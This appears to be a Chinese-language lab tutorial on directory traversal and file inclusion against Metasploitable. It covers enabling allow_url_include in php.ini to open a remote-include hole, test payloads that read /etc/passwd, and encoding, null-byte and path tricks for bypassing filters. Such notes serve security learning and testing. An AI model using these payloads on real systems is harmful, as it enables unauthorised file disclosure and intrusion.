文件遍历Directory traversal / 文件包含File include
目录权限限制不严 / 文件包含
环境:metasploitable
操作:修改php配置文件,将allow_url_include修改为on,就会允许我们include其他的url地址到webapplication的相关参数里进而执行,从而导致远程文件引用这个漏洞出现。
vi /etc/php5/cgi/php.ini
#重启apache,重启后,有漏洞的配置才会生效
/etc/init.d/apache2 restart
对于?page=a.php、?homeb.html、?file=content这种特征的一定要特别注意,可能存在有文件包含漏洞。
我们可以看到如图中url,就很可疑,我们就可以去验证测试。
经典测试方法:
?file=../../../../etc/passwd
?page=file:///etc/passwd
?home=main.cgi
?page=http://www.a.com/php
http:///../../../../dir/file.txt
编码绕过字符过滤
"." "%00" #绕过文件扩展名过滤
eg:?file=a.doc%00.php #当服务器看到%00后面的内容就不会看了
通过验证,我们可以指导这个地方存在一个文件包含漏洞:
不同操作系统的路径特征字符:
#类unix系统:
根目录:/
目录层级分隔符:/
#windows系统
c:\
\或/
编码:
#url编码、双层url编码
%2e%2e%2f 解码:../
%2e%2e%5c 解码:..\
%252e%252e%255c 解码:..\
#unicode/UTF-8编码
..%c0%af 解码:../
..%u2216
..%c1%9c 解码:..\
其他系统路径可能使用到的字符
file.txt...
file.txt<spaces>
file.txt""""
file.txt<<<>>><
./././file.txt
nonexistant/../file.txt
#eg:cd a 不允许,但是我没可以通过cd a/../file.txt
UNC路径
\\1.1.1.1\path\to\file.txt